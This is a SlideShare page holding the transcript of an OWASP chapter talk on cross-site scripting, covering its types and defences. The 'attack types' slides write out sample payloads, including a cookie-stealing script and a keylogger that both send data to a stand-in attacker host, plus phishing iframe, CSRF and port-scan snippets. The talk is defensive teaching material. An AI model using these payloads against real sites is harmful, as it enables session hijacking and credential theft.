• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
Cross site scripting attacks and defenses
 

Cross site scripting attacks and defenses

on

  • 2,143 views

This presentation covers the Cross site scripting attacks and defences in web applications, this talk was delivered as part of OWASP Hyderabad Chapter meet. Comments and suggestions are welcome.

This presentation covers the Cross site scripting attacks and defences in web applications, this talk was delivered as part of OWASP Hyderabad Chapter meet. Comments and suggestions are welcome.

Statistics

Views

Total Views
2,143
Views on SlideShare
2,131
Embed Views
12

Actions

Likes
6
Downloads
973
Comments
1

2 Embeds 12

http://www.linkedin.com 11
https://www.linkedin.com 1

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

CC Attribution-NonCommercial-ShareAlike LicenseCC Attribution-NonCommercial-ShareAlike LicenseCC Attribution-NonCommercial-ShareAlike License

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel

11 of 1 previous next

  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    Cross site scripting attacks and defenses Cross site scripting attacks and defenses Presentation Transcript

    • `XSS MultiFacetVulnerability
    • #whoamiMohammed Imran ( @imran_naseem )Information Security professional @ TCSNull Hyderabad Chapter LeadOWASP Hyderabad Board Member
    • Agenda1321 4Cross Site ScriptingProblemAnatomy of XSSTypes of XSS5 XSS Attacks6 Solution
    • `#1The definitionof XSS
    • Cross site Scripting (XSS) attacks are a type ofinjection problem, in which malicious scripts areinjected into otherwise benign and trusted websites.“”Source:owasp.org
    • `#2The Problemof XSS
    • And its Expected ...
    • If not done securely, couldlead to problems
    • Such as...Malicious Script ExecutionPhishingRedirection to malicious siteSession HijackingCSRFKeyloggingPort Scanning
    • `#3The Anatomyof XSS
    • Application takes insecurecontent
    • HTML Source Code
    • `#4The Typesof XSS
    • Reflected XSS
    • Reflected attack generally is used to exploit scriptinjection vulnerabilities via URL in a web application.“”
    • Stored XSS
    • Stored XSS occurs when the injected script is storedin the database and is delivered to the visitor of theapplication.“”
    • DOM XSS
    • DOM Based XSS is an XSS attack wherein the attackpayload is executed as a result of modifying theDOM “environment” in the victim’s browser used bythe original client side script, so that the client sidecode runs in an “unexpected” manner.“”Source:owasp.org
    • `#5The AttackTypes in XSS
    • Redirection“><script>document.location.href=”http://www.MaliciousSite.com/” </script>
    • Session Hijacking“><script>document.location.href=”http://www.MaliciousSite.com/cookiestealer.php?cookie=”+document.cookie </script>
    • Phishing“><iframe src="http://www.yourphishingsite.com"height="100%" width="100%"></iframe>
    • keylogging“><script src=”http://www.MaliciousSite.com/keylogger.js”> </script>Logic:document.onkeypress = function keyLog(a) { newImage().src=http://www.attacker.com/logging.php?data=+a.which; }
    • REDIRECTION“><script>document.location.href=”http://www.MaliciousSite.com/” </script>
    • CSRFPage 1:<form name=”delete” action="http://yoursite.com/deleteuser"method="post"><input type="hidden" name="userid" value="1"><input type=”submit”></form>Page 2:“><script>document.form.delete.submit();</script>
    • Port Scanning<script type="text/javascript">function handleError(message, url, line){if(message.match(/Script error|Error loading script/)){alert("open");}}var newScript = document.createElement(script);newScript.src = http://www.google.com:80/;document.body.appendChild(newScript);window.onerror = handleError;</script>
    • `#6The Solutionto fix XSS
    • Solution● Validate the data ( use white-listing )● Encode the data● Use HTTP-only and secure flags for cookies
    • Credits● http://www.symantec.com/connect/blogs/getting-sassy● All icons are from http://thenounproject.com/● Owasp.org